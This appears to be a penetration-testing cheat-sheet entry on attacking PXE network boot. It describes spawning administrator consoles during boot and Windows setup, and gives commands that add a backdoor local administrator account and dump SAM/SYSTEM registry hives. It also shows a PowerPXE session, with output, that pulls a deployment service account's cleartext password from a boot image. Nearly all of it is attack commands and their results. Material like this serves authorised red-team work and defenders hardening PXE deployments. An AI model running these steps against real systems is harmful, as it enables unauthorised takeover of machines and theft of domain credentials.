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Internal - PXE Boot Image

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.

  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    net user hacker Password123! /add
net localgroup administrators /add hacker

  • Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    # Import the module
PS > Import-Module .\PowerPXE.ps1

# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 » 

# Wait for the DHCP to get an address
>> Get a valid IP address
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101

# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address:  192.168.22.3

# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.

# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1

References